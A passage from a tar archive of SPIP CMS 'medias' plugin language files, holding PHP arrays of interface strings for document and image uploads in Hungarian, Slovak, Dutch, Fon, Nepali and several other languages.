'image_tourner_gauche' => 'okrenuti za 90° nalijevo',
'info_document' => 'dokument',
'info_document_indisponible' => 'Ovaj dokument ne stoji na raspolaganju',
'info_documents' => 'dokumenti',
'info_inclusion_directe' => 'direktno uključenje:',
'info_inclusion_vignette' => 'obuhvatiti malu sličicu:',
'info_installer_tous_documents' => 'Instalirati sve dokumente',
'info_logo_max_taille' => 'Veličina logotipa smije biti najviše @maxi@ (ova datoteka je veličine @actuel@).',
'info_portfolio' => 'mapa',
'info_telecharger' => 'otprema sa Vašeg računala:',
'item_autoriser_selectionner_date_en_ligne' => 'Pouvoir sélectionner la date de mise en ligne de chaque document', # MODIF
'item_non_autoriser_selectionner_date_en_ligne' => 'Ne pas pouvoir changer manuellement la date des documents', # MODIF
// T
'texte_documents_joints' => 'You can allow the addition of documents (office files, images,
multimedia, etc.) to articles and/or sections. These files
could then be referenced in
the article or displayed separately.', # MODIF
// U
'upload_fichier_zip' => 'ZIP datoteka',
'upload_fichier_zip_texte' => 'Datoteka koju želite instalirati je ZIP-datoteka.',
'upload_fichier_zip_texte2' => 'datoteka može biti:',
'upload_limit' => 'Datoteka je prevelika za poslužitelja; maksimalna dozvoljena veličina za <i>otpremu</i> (upload) je @max@.',
'upload_zip_decompacter' => 'dekomprimirana i sve sadržane datoteke će biti instalirane na web sajtu. Ovo su datoteke koje će biti instalirane:',
'upload_zip_telquel' => 'instalirana takva kakva jeste (kao ZIP datoteka);'
);
?>
medias_hu.php 0000666 00000004546 15252255273 0007240 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/medias?lang_cible=hu
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'bouton_ajouter_document' => 'ÚJ DOKUMENTUM', # MODIF
'bouton_ajouter_image' => 'ÚJ KÉP', # MODIF
// D
'double_clic_inserer_doc' => 'Dupla kattintással beszúrhatja a gyorshivatkozást a szövegbe.',
// E
'entree_dimensions' => 'Méret :',
'entree_titre_document' => 'Dokumentum címe :',
'entree_titre_image' => 'Kép címe :',
// I
'image_tourner_180' => '180° fordulás',
'image_tourner_droite' => 'Fordulás 90° jobbra',
'image_tourner_gauche' => 'Fordulás 90° balra',
'info_document' => 'Dokumentum',
'info_document_indisponible' => 'Ez a dokumentum nem érhető el.',
'info_documents' => 'Dokumentumok',
'info_inclusion_directe' => 'Közvetlen beszúrás :',
'info_inclusion_vignette' => 'Bélyegkép beszúrása :',
'info_installer_tous_documents' => 'Az összes dokumentum telepítése',
'info_logo_max_taille' => 'Egy logo kisebb legyen, mint @maxi@ (ez a fájl pedig @actuel@).',
'info_portfolio' => 'Portfolio',
'info_referencer_doc_distant' => 'Felvenni egy dokumentumot a Neten :',
'info_telecharger' => 'Feltöltés a gépéről :',
// T
'texte_documents_joints' => 'Engedelyézheti a dokumentumok hozzáadását (irodai fájlok, képek,
multimédia, stb.) a cikkekhez és/vagy a rovatokhoz. Ezekre a fájlokra
lehet majd hivatkozni a
cikken belül, vagy külön megjeleníteni.', # MODIF
'texte_documents_joints_2' => 'Ez a beállítás nem akadályozza a közvetlen képbeszűrást a cikkekbe.', # MODIF
'titre_documents_joints' => 'Mellékelt dokumentumok',
'tout_dossier_upload' => 'Az egész mappa @upload@',
// U
'upload_fichier_zip' => 'ZIP tipusú fájl',
'upload_fichier_zip_texte' => 'ZIP tipusú az a fájl, amit akar telepíteni.',
'upload_fichier_zip_texte2' => 'Ez a fájl lehet :',
'upload_limit' => 'Ez a fájl túl nagy a szervernek; a máximalis <i>feltöltési</i> méret @max@.',
'upload_zip_decompacter' => 'kitömöritve, és az összes eleme a honlapra telepítve. A honlapra telepített fájlok a következők lesznek :',
'upload_zip_telquel' => 'Egymagában telepítve, mint ZIP tömörített állómány;'
);
?>
paquet-medias_ar.php 0000666 00000000722 15252255273 0010513 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/paquet-medias?lang_cible=ar
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// M
'medias_description' => 'أدارة الوسائط المتعددة في SPIP',
'medias_slogan' => 'أدارة الوسائط المتعددة في SPIP'
);
?>
medias_nb.php 0000666 00000003000 15252255273 0007203 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/medias?lang_cible=nb
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'bouton_ajouter_document' => 'LEGG TIL ET DOKUMENT', # MODIF
'bouton_ajouter_image' => 'LEGG TIL ET BILDE', # MODIF
'bouton_ajouter_image_document' => 'Legg til et bilde eller dokument',
// E
'entree_dimensions' => 'Størrelse:',
'entree_titre_document' => 'Dokumenttittel:',
'entree_titre_image' => 'Bildetittel:',
// I
'image_tourner_180' => 'Roter 180°',
'image_tourner_droite' => 'Roter 90° høyre',
'image_tourner_gauche' => 'Roter 90° venstre',
'info_document' => 'Dokument',
'info_document_indisponible' => 'Dette dokumentet er ikke tilgjengelig',
'info_documents' => 'Dokumenter',
'info_inclusion_directe' => 'Direkte innlegging:',
'info_inclusion_vignette' => 'Inkluder vignett:',
'info_installer_tous_documents' => 'Installere alle dokumentene',
'info_logo_max_taille' => 'Logoer må være mindre enn @maxi@ (denne filen er @actuel@).',
'info_portfolio' => 'Portfolio',
'info_telecharger' => 'Laste opp fra din datamaskin:',
// T
'texte_documents_joints' => 'Vous pouvez autoriser l’ajout de documents (fichiers bureautiques, images,
multimédia, etc.) aux articles et/ou aux rubriques. Ces fichiers
peuvent ensuite être référencés dans
l’article, ou affichés séparément.' # MODIF
);
?>
medias_ne.php 0000666 00000004051 15252255273 0007215 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/medias?lang_cible=ne
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'bouton_ajouter_document' => 'प्रलेख थप्नुहोस्',
'bouton_ajouter_image' => 'तस्वीर थप्नुहोस्',
'bouton_ajouter_image_document' => 'प्रतिमा वा प्रलेख थप्नुहोस्',
// E
'entree_dimensions' => 'आकार:',
'entree_titre_document' => 'प्रलेखको शिर्षक :',
'entree_titre_image' => 'प्रतिमाको शिर्षक :',
// I
'image_tourner_180' => '१८०° घुमाउनुहोस्',
'image_tourner_droite' => '९०° दायाँ घुमाउनुहोस्',
'image_tourner_gauche' => '९०° बायाँ घुमाउनुहोस्',
'info_document' => 'प्रलेख',
'info_document_indisponible' => 'यो प्रलेख उपलब्ध छैन',
'info_documents' => 'प्रलेखहरु',
'info_inclusion_directe' => 'सिधै समावेश:',
'info_inclusion_vignette' => 'बेलबुट्टा सम्मिलित गर्नु:',
'info_installer_tous_documents' => 'सबै प्रलेख स्थापना गर्नुहोस्',
'info_logo_max_taille' => 'लोगो अनिवार्य कपमा @maxi@ भन्दा घटी हुनुपर्दछ (यो मिसिल @actuel@ हो)।',
'info_portfolio' => 'एल्बम',
'info_telecharger' => 'तपाईको कम्प्युटर तानेर हाल्नुहोस्:',
// T
'texte_documents_joints' => 'You can allow the addition of documents (office files, images,
multimedia, etc.) to articles and/or sections. These files
could then be referenced in
the article or displayed separately.' # MODIF
);
?>
medias_fon.php 0000666 00000003773 15252255273 0007407 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/medias?lang_cible=fon
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'bouton_ajouter_document' => 'Mi zé wémà dokpo gɔna', # MODIF
'bouton_ajouter_image' => 'Mi zé yɛwli ɖo wémaji gɔna', # MODIF
// E
'entree_dimensions' => 'jlɛjlɛ',
'entree_titre_document' => 'wěmá xótá ',
'entree_titre_image' => 'titá xótá',
// I
'image_tourner_180' => 'lìlɛlílɛ 180°',
'image_tourner_droite' => 'lìlɛlílɛ 90° yì àɖùsímɛ ',
'image_tourner_gauche' => 'lìlɛlílɛ 90° yì àmyɔmɛ',
'info_document' => 'wémà',
'info_documents' => 'Wêmà lɛ',
'info_inclusion_directe' => 'Wémà ɔ gblé:',
'info_inclusion_vignette' => 'Wémà ɔ gblé:',
'info_installer_tous_documents' => 'mi sɔ wémà lɛ bí',
'info_logo_max_taille' => 'Ntùn lɛ dó ná gbló gègé à @maxi@ (xótòɖáyí é lɔ blo @actuel@).',
'info_portfolio' => 'Portfolio',
'info_telecharger' => 'ɖɔn sín mɔxwítíxwítí ɔ mɛ :',
// T
'texte_documents_joints' => 'Zé gɔ ná wěmámɛYé mɔ àyì ɖé ɖó wékwín é lɔ wú áYé sɔ mɔ ɖê ná nɔ kpɔn wékwín sín winwlán gànjí ɔ ɖó sùpípùmɛ.Amɔ có nú mi ná sɔ wěmà mi tɔn ɖé xlɛ hún mi ván núkún ɖémɛ ɖésú hwɛ', # MODIF
'texte_documents_joints_2' => 'mi sɔ ɖidé ɖó wěmà lɛ mɛ.', # MODIF
'titre_documents_joints' => 'wěmà yé gɔná',
'tout_dossier_upload' => 'Wemágbàví ɖébú ɖê @ná gbɔ é@',
// U
'upload_fichier_zip' => 'Fichier ZIPù',
'upload_fichier_zip_texte' => 'xótá mi jó ná zé xótá zipù wɛ.',
'upload_fichier_zip_texte2' => 'xótá é lɔ síwú :',
'upload_limit' => 'gbètá ɔ kló ɖín @max@.',
'upload_zip_decompacter' => 'sɔ ɖémɛ ɖê ɖé gbɔn ɔ :',
'upload_zip_telquel' => 'sɔ ɖémɛ ɖê ɖé gbɔn ɔ Zip ;'
);
?>
medias_sk.php 0000666 00000021306 15252255273 0007232 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/medias?lang_cible=sk
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// A
'aucun_audio' => 'Žiadna zvuková stopa',
'aucun_document' => 'Žiaden dokument',
'aucun_file' => 'Žiaden dokument',
'aucun_image' => 'Žiaden obrázok',
'aucun_video' => 'Žiadne videá',
'aucune_utilisation' => 'Tento dokument sa nepoužíva.',
'aucune_vignette' => 'Žiadna miniatúra',
// B
'bouton_ajouter_document' => 'Pridať dokument',
'bouton_ajouter_image' => 'Pridať obrázok',
'bouton_ajouter_image_document' => 'Pridať obrázok alebo dokument',
'bouton_attacher_document' => 'Pripojiť',
'bouton_copier_local' => 'Skopírovať na stránku',
'bouton_download_depuis' => 'z(o):',
'bouton_download_local' => 'môjho počítača',
'bouton_download_par_ftp' => 'servera',
'bouton_download_par_mediatheque' => 'do knižnice multimédií',
'bouton_download_sur_le_web' => 'internetu',
'bouton_enlever_document' => 'Zrušiť prepojenie',
'bouton_enlever_supprimer_document' => 'Odstrániť',
'bouton_enlever_supprimer_document_confirmation' => 'Chcete odstrániť dokument?',
'bouton_modifier_document' => 'Upraviť',
'bouton_parcourir' => 'Prehľadať...',
'bouton_refresh_document' => 'Obnoviť dokument',
'bouton_remplacer_document' => 'Nahradiť tento dokument',
'bouton_remplacer_image' => 'Nahradiť tento obrázok',
'bouton_remplacer_image_document' => 'Nahradiť obrázkom alebo dokumentom',
'bouton_supprimer' => 'Odstrániť',
'bouton_supprimer_tous_orphelins' => 'Odstrániť všetky nepoužívané',
'bouton_supprimer_tous_orphelins_confirmation' => 'Určite chcete odstrániť @nb@ osamotených objektov?',
'bouton_upload' => 'Nahrať',
// D
'des_audios' => '@nb@ zvukových stôp',
'des_documents' => '@nb@ dokumentov',
'des_files' => '@nb@ súborov',
'des_images' => '@nb@ obrázkov',
'des_utilisations' => '@nb@ použití',
'des_videos' => '@nb@ videosekvencií',
'descriptif' => 'Opis',
'document_attache_succes' => 'Dokument bol úspešne pridaný',
'document_copie_locale_succes' => 'Súbor bol úspešne skopírovaný na stránku',
'document_installe_succes' => 'Súbor sa úspešne nahral',
'document_vu' => 'Vložiť do textu',
'documents' => 'Knižnica multimédií',
'documents_brises' => 'Pokazené',
'documents_distants' => 'Vzdialené',
'documents_locaux' => 'Miestne',
'documents_non_publies' => 'Nepublikované',
'documents_orphelins' => 'Nepoužívané',
'documents_publies' => 'Publikované',
'documents_tous' => 'Všetky',
'double_clic_inserer_doc' => 'Ak chcete do textu vložiť túto klávesovú skratku, dvakrát kliknite',
// E
'entree_dimensions' => 'Veľkosť:',
'entree_titre_document' => 'Názov dokumentu:',
'entree_titre_image' => 'Názov obrázka:',
'erreur_aucun_document' => 'Tento dokument v knižnici multimédií neexistuje',
'erreur_aucun_fichier' => 'Žiaden súbor sa nenašiel',
'erreur_chemin_distant' => 'Nepodarilo sa nájsť vzdialený súbor @nom@',
'erreur_chemin_ftp' => 'Uvedený súbor sa na serveri nenašiel',
'erreur_copie_fichier' => 'Nepodarilo sa skopírovať súbor @nom@',
'erreur_dossier_tmp_manquant' => 'V dočasnom priečinku chýbajú súbory na stiahnutie',
'erreur_ecriture_fichier' => 'Chyba pri zápise súboru na disk',
'erreur_format_fichier_image' => 'Formát súboru @nom@ nie je vhodný pre obrázok',
'erreur_indiquez_un_fichier' => 'Uveďte súbor!',
'erreur_insertion_document_base' => 'Dokument @fichier@ sa nepodarilo uložiť do databázy súborov',
'erreur_suppression_vignette' => 'Chyba pri odstraňovaní miniatúry',
'erreur_upload_type_interdit' => 'Sťahovanie súborov typu @nom@ nie je povolené',
'erreur_upload_vignette' => 'Chyba pri načítavaní miniatúry @nom@',
'erreurs' => '@nb@ chýb',
'erreurs_voir' => 'Pozrite sa na @nb@ chýb',
// F
'fichier_distant' => 'Vzdialený súbor',
'fichier_manquant' => 'Chýbajúci súbor',
'fichier_modifie' => 'Súbor bol zmenený. Kliknite na tlačidlo Uložiť.',
'format_date_incorrect' => 'Dátum alebo čas nie je správny',
// I
'icone_creer_document' => 'Pridať dokument',
'id' => 'ID',
'image_tourner_180' => 'Otočiť o 180°',
'image_tourner_droite' => 'Otočiť o 90° doprava',
'image_tourner_gauche' => 'Otočiť o 90° doľava',
'info_doc_max_poids' => 'Dokumenty musia mať nevyhnutne menej ako @maxi@ (tento súbor má @actuel@).',
'info_document' => 'Dokument',
'info_document_indisponible' => 'Tento dokument je nedostupný',
'info_documents' => 'Dokumenty',
'info_gauche_numero_document' => 'DOKUMENT ČÍSLO',
'info_hauteur' => 'Výška',
'info_heure' => 'Čas',
'info_illustrations' => 'Ilustrácie',
'info_image_max_poids' => 'Obrázky musia mať nevyhnutne menej ako @maxi@ (tento súbor má @actuel@).',
'info_inclusion_directe' => 'Priame zaradenie:',
'info_inclusion_vignette' => 'Zaradiť miniatúru:',
'info_installer_tous_documents' => 'Nainštalovať všetky dokumenty',
'info_largeur' => 'Šírka',
'info_logo_max_taille' => 'Logá musia mať menej ako @maxi@ (tento súbor má @actuel@).',
'info_modifier_document' => 'Upraviť dokument',
'info_portfolio' => 'Portfólio',
'info_referencer_doc_distant' => 'Odkázať na dokument na internete:',
'info_sans_vignette' => 'Žiadna miniatúra',
'info_statut_document' => 'Tento dokument je:',
'info_telecharger' => 'Nahrať z vášho počítača:',
'infos' => 'Technické údaje',
'item_autoriser_selectionner_date_en_ligne' => 'Povoliť zmeniť dátum každého dokumentu',
'item_non_autoriser_selectionner_date_en_ligne' => 'Dátum dokumentu je deň, keď bol pridaný na stránku',
// L
'label_activer_document_objets' => 'Aktivovať nahrávanie pre obsah:',
'label_apercu' => 'Ukážka',
'label_caracteristiques' => 'Funkcie',
'label_credits' => 'Autori',
'label_fichier' => 'Súbor',
'label_fichier_vignette' => 'Miniatúra',
'label_paginer_par' => 'Stránkovať po:',
'label_parents' => 'Tento dokument je prepojený s prvkom',
'label_refdoc_joindre' => 'Dokument číslo',
'lien_tout_enlever' => 'Odstrániť všetko',
'logo' => 'Logo',
// M
'media_audio' => 'Zvukové stopy',
'media_file' => 'Ostatné',
'media_image' => 'Obrázky',
'media_video' => 'Videá',
'miniature_automatique_active' => 'SPIP automaticky vytvorí miniatúru obrázka',
// N
'nb_documents_attache_succes' => '@nb@ dokumentov bolo pridaných',
'nb_documents_installe_succes' => '@nb@ súborov sa úspešne nahralo',
// O
'objet_document' => 'Dokument',
'objet_documents' => 'Dokumenty',
// P
'par_date' => 'Dátum',
'par_hauteur' => 'Výška',
'par_id' => 'ID',
'par_largeur' => 'Šírka',
'par_taille' => 'Veľkosť',
'par_titre' => 'Názov',
// T
'texte_documents_joints' => 'Môžete aktivovať rozhranie na pridávanie dokumentov (súborov z práce, obrázkov
multimédiálnych súborov, atď.) k článkom, rubrikám a inde. Na tieto súbory
môžete potom
v článku odkazovať alebo môžu byť zobrazené samostatne.',
'texte_documents_joints_2' => 'Toto nastavenie nezabráni priamemu vkladaniu obrázkov do článkov alebo pripojeniu súboru priamo do textu redakčného objektu.',
'titre_documents_joints' => 'Pripojené dokumenty',
'titre_page_documents_edit' => 'Upraviť dokument: @titre@',
'tous_les_medias' => 'Všetky multimédiá',
'tout_dossier_upload' => 'Celý priečinok @upload@',
'tout_voir' => 'Zobraziť všetko',
// U
'un_audio' => '1 zvuková stopa',
'un_document' => '1 dokument',
'un_file' => '1 súbor',
'un_image' => '1 obrázok',
'un_video' => '1 video',
'une_utilisation' => '1 použitie',
'upload_fichier_zip' => 'Súbor ZIP',
'upload_fichier_zip_texte' => 'Súbor, ktorý sa chcete nainštalovať, je súbor ZIP.',
'upload_fichier_zip_texte2' => 'Tento súbor môže byť:',
'upload_info_mode_document' => 'Poslať do portfólia',
'upload_info_mode_image' => 'Odstrániť z portfólia',
'upload_limit' => 'Tento súbor je pre server príliš veľký, maximálna povolená veľkosť na <i>nahrávanie</i> je @max@.',
'upload_zip_conserver' => 'Ponechať si súbor archívu aj po rozbalení jeho obsahu',
'upload_zip_decompacter' => 'rozbalený a každý súbor, ktorý obsahuje, bude nainštalovaný na stránku. Nainštalované budú tieto súbory:',
'upload_zip_mode_document' => 'Všetky obrázky zaradiť do portfólia',
'upload_zip_telquel' => 'nainštalovaný tak, ako je, ako súbor ZIP,',
'upload_zip_titrer' => 'Pridať názvy podľa názvov súborov',
// V
'verifier_documents_brises' => 'Skontrolovať chýbajúce súbory',
'verifier_documents_inutilises' => 'Skontrolovať prepojenia dokumentov',
'vignette_supprimee' => 'Miniatúra bola odstránená'
);
?>
medias_da.php 0000666 00000002412 15252255273 0007176 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/medias?lang_cible=da
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'bouton_ajouter_document' => 'Tilføj et dokument',
'bouton_ajouter_image' => 'TILFØJ BILLEDE', # MODIF
'bouton_ajouter_image_document' => 'Tilføj et billede eller dokument',
// E
'entree_dimensions' => 'Størrelse:',
'entree_titre_document' => 'Dokumentoverskrift:',
'entree_titre_image' => 'Billedoverskrift:',
// I
'info_document' => 'Dokument',
'info_inclusion_directe' => 'Direkte indlejring:',
'info_inclusion_vignette' => 'Medtag piktogram:',
'info_installer_tous_documents' => 'Indlæs alle dokumenter',
'info_telecharger' => 'Hent fra din computer:',
// T
'texte_documents_joints' => 'Du kan tillade at dokumenter (kontorfiler, billeder,
multimedia, osv.) føjes til artikler og/eller afsnit. Der kan så henvises til filerne i dokumentet, eller de kan vises separat.<p>', # MODIF
'texte_documents_joints_2' => 'Denne konfiguration hindrer ikke indsættelse af billeder direkte i dokumenter.', # MODIF
'titre_documents_joints' => 'Vedhæftede dokumenter'
);
?>
paquet-medias_en.php 0000666 00000000634 15252255273 0010515 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/paquet-medias?lang_cible=en
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// M
'medias_description' => 'SPIP’s media management',
'medias_slogan' => 'SPIP’s media management'
);
?>
medias_nl.php 0000666 00000021321 15252255273 0007223 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/medias?lang_cible=nl
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// A
'aucun_audio' => 'Geen geluidsband',
'aucun_document' => 'Geen document',
'aucun_file' => 'Geen document',
'aucun_image' => 'Geen beeld',
'aucun_video' => 'Geen video',
'aucune_utilisation' => 'Dit document is nergens gebruikt',
'aucune_vignette' => 'Geen verkleining',
// B
'bouton_ajouter_document' => 'Een document toevoegen',
'bouton_ajouter_image' => 'Een beeld toevoegen',
'bouton_ajouter_image_document' => 'Een beeld of een document toevoegen',
'bouton_attacher_document' => 'Verbinden',
'bouton_copier_local' => 'Copieren in het site',
'bouton_download_depuis' => 'vanuit :',
'bouton_download_local' => 'mijn computer',
'bouton_download_par_ftp' => 'de server',
'bouton_download_par_mediatheque' => 'de mediatheek',
'bouton_download_sur_le_web' => 'internet',
'bouton_enlever_document' => 'Losbinden',
'bouton_enlever_supprimer_document' => 'Afschaffen',
'bouton_enlever_supprimer_document_confirmation' => 'Ben je zeker het document willen afschaffen ?',
'bouton_modifier_document' => 'Wijzigen',
'bouton_parcourir' => 'Doorlopen...',
'bouton_refresh_document' => 'Document opfrissen',
'bouton_remplacer_document' => 'Dit document vervangen',
'bouton_remplacer_image' => 'Deze beeld vervangen',
'bouton_remplacer_image_document' => 'Een beeld of een document vervangen',
'bouton_supprimer' => 'Afschaffen',
'bouton_supprimer_tous_orphelins' => 'Alle weesbestanden uitwissen',
'bouton_supprimer_tous_orphelins_confirmation' => 'Ben je zeker om @nb@ weesbestanden te willen uitwissen ?',
'bouton_upload' => 'Uploaden',
// D
'des_audios' => '@nb@ geluidsbanden',
'des_documents' => '@nb@ documenten',
'des_files' => '@nb@ documenten',
'des_images' => '@nb@ beelden',
'des_utilisations' => '@nb@ gebruiken',
'des_videos' => '@nb@ videosequenties',
'descriptif' => 'Beschrijving',
'document_attache_succes' => 'Het document werd bijgevoegd',
'document_copie_locale_succes' => 'Het bestand werd in de site gekopieerd',
'document_installe_succes' => 'Het bestand werd opgeslagen',
'document_vu' => 'In de tekst geplaatst',
'documents' => 'Mediatheek',
'documents_brises' => 'Gebroken',
'documents_distants' => 'Afstandelijke',
'documents_locaux' => 'Lokaal',
'documents_non_publies' => 'Niet gepubliceerd',
'documents_orphelins' => 'Ongebruikte',
'documents_publies' => 'Gepubliceerde',
'documents_tous' => 'Alles',
'double_clic_inserer_doc' => 'Dubbelklik om deze snelkoppeling in de tekst te lassen.',
// E
'entree_dimensions' => 'Afmetingen:',
'entree_titre_document' => 'Documenttitel:',
'entree_titre_image' => 'Afbeeldingstitel:',
'erreur_aucun_document' => 'Deze document bestaat niet in de mediatheek ',
'erreur_aucun_fichier' => 'Geen bestand wordt gevonden',
'erreur_chemin_distant' => 'Afstandelijk bestand @nom@ werd niet gevonden',
'erreur_chemin_ftp' => 'Het gekozen bestand werd niet op de server gevonden',
'erreur_copie_fichier' => 'Onmogelijk het bestand @nom@ te kopiëren ',
'erreur_dossier_tmp_manquant' => 'Er mist een voorlopige dossier om de bestanden te uploaden',
'erreur_ecriture_fichier' => 'Fout tijdens het schrijven van het bestand op de server',
'erreur_format_fichier_image' => 'Het @nom@ formaat is ongeldig voor een beeld',
'erreur_indiquez_un_fichier' => 'Wijs een bestand aan !',
'erreur_insertion_document_base' => 'Onmogelijk het document @fichier@ in de databank op te slaan',
'erreur_suppression_vignette' => 'Fout tijdens het uitwissen van de verkleining',
'erreur_upload_type_interdit' => 'Het uploaden van bestanden uit de type van @nom@ is niet toegelaten',
'erreur_upload_vignette' => 'Fout tijdens het laden van de verkleining @nom@',
'erreurs' => '@nb@ fouten',
'erreurs_voir' => 'De @nb@ fouten kijken',
// F
'fichier_distant' => 'Afstandelijk bestand',
'fichier_manquant' => 'Missende bestand',
'fichier_modifie' => 'Het bestand wordt veranderd. Klik op opslaan.',
'format_date_incorrect' => 'Datum of uur is ongeldig',
// I
'icone_creer_document' => 'Een document bijvoegen',
'id' => 'ID',
'image_tourner_180' => '180° draaien',
'image_tourner_droite' => '90° naar rechts draaien',
'image_tourner_gauche' => '90° naar links draaien',
'info_doc_max_poids' => 'De documenten moeten verplicht minder dan @maxi@ wegen (dit bestand is @actuel@ zwaar).',
'info_document' => 'Document',
'info_document_indisponible' => 'Dit document is niet beschikbaar',
'info_documents' => 'documenten',
'info_gauche_numero_document' => 'DOCUMENT NUMMER',
'info_hauteur' => 'Hoogte',
'info_heure' => 'Uur',
'info_illustrations' => 'Illustraties',
'info_image_max_poids' => 'De beelden moeten verplicht minder dan @maxi@ wegen (huidige bestand is @actuel@).',
'info_inclusion_directe' => 'Directe insluiting:',
'info_inclusion_vignette' => 'Insluiten van de miniatuurafbeelding:',
'info_installer_tous_documents' => 'Alle documenten installeren',
'info_largeur' => 'Breedte',
'info_logo_max_taille' => 'Logo’s mogen maximaal @maxi@ zijn (dit bestand is @actuel@).',
'info_modifier_document' => 'Document veranderen',
'info_portfolio' => 'Portfolio',
'info_referencer_doc_distant' => 'Naar een document op internet verwijzen :',
'info_sans_vignette' => 'Zonder verkleining',
'info_statut_document' => 'Deze document is :',
'info_telecharger' => 'Opladen vanf je computer:',
'infos' => 'Technische infos',
'item_autoriser_selectionner_date_en_ligne' => 'Het mogelijk maken om de datum van elk document te wijzigen',
'item_non_autoriser_selectionner_date_en_ligne' => 'De datum van de documenten is die van hun toevoegsel op de plaats',
// L
'label_activer_document_objets' => 'Documenten activeren voor volgende inhouden :',
'label_apercu' => 'Overzicht',
'label_caracteristiques' => 'Kenmerken',
'label_credits' => 'Krediet',
'label_fichier' => 'Bestand',
'label_fichier_vignette' => 'Verkleining',
'label_paginer_par' => 'Pagineren door :',
'label_parents' => 'Deze document is verbonden aan',
'label_refdoc_joindre' => 'Document nummer',
'lien_tout_enlever' => 'Alles uittrekken',
'logo' => 'Logo',
// M
'media_audio' => 'Geluidsbanden',
'media_file' => 'Andere',
'media_image' => 'Beelden',
'media_video' => 'Videosequenties',
'miniature_automatique_active' => 'SPIP zal automatisch een verkleining van het beeld aanmaken',
// N
'nb_documents_attache_succes' => '@nb@ documenten werden bijgevoegd',
'nb_documents_installe_succes' => '@nb@ bestanden opgeslagen met succes ',
// O
'objet_document' => 'Document',
'objet_documents' => 'Documenten',
// P
'par_date' => 'Datum',
'par_hauteur' => 'Hoogte',
'par_id' => 'ID',
'par_largeur' => 'Breedte',
'par_taille' => 'Gewicht',
'par_titre' => 'Title',
// T
'texte_documents_joints' => 'Je kan het toevoegen van documenten (teksten, afbeeldingen, multimedia, ...) bij artikels, rubrieken en andere toelaten. De bijgevoegde bestanden kunnen vervolgens gekoppeld worden in het
tekst of afzonderlijk getoond worden.',
'texte_documents_joints_2' => 'Deze instelling verhindert de directe opname van beelden in artikels niet noch het inzetten van documenten rechtsreeks in de teksten van van andere inhouden.',
'titre_documents_joints' => 'Bijlagen',
'titre_page_documents_edit' => 'Het document veranderen: @titre@',
'tous_les_medias' => 'Alle medias',
'tout_dossier_upload' => 'Alles in de map @upload@',
'tout_voir' => 'Alles zien',
// U
'un_audio' => '1 geluidsband',
'un_document' => '1 document',
'un_file' => '1 document',
'un_image' => '1 beeld',
'un_video' => '1 videosequentie',
'une_utilisation' => '1 gebruik',
'upload_fichier_zip' => 'ZIP bestand',
'upload_fichier_zip_texte' => 'Het bestand dat je wil installeren is een ZIP bestand.',
'upload_fichier_zip_texte2' => 'Dit bestand kan zijn :',
'upload_info_mode_document' => 'In de portfolio neerzetten',
'upload_info_mode_image' => 'Uit de portfolio ontnemen ',
'upload_limit' => 'Dit bestand is te groot voor de server ; de maximale bestandsgrootte voor <i>upload</i> is @max@.',
'upload_zip_conserver' => 'Het archief behouden na het unzippen',
'upload_zip_decompacter' => 'uitgepakt en elk bestand geïnstalleerd op de site. De bestanden die op de site komen, zijn :',
'upload_zip_mode_document' => 'Alle beelden in de portfolio neerleggen',
'upload_zip_telquel' => 'geïnstalleerd als gezipt (gecomprimeerd) bestand ;',
'upload_zip_titrer' => 'Volgens de naam bestanden betitelen',
// V
'verifier_documents_brises' => 'Missende bestanden checken',
'verifier_documents_inutilises' => 'Links van de documenten checken',
'vignette_supprimee' => 'Verkleining wordt uitgewist'
);
?>
medias_fr_tu.php 0000666 00000021523 15252255273 0007735 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/medias?lang_cible=fr_tu
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// A
'aucun_audio' => 'Aucune bande-son',
'aucun_document' => 'Aucun document',
'aucun_file' => 'Aucun document',
'aucun_image' => 'Aucune image',
'aucun_video' => 'Aucune séquence',
'aucune_utilisation' => 'Ce document n’est pas utilisé',
'aucune_vignette' => 'Aucune vignette',
// B
'bouton_ajouter_document' => 'Ajouter un document',
'bouton_ajouter_image' => 'Ajouter une image',
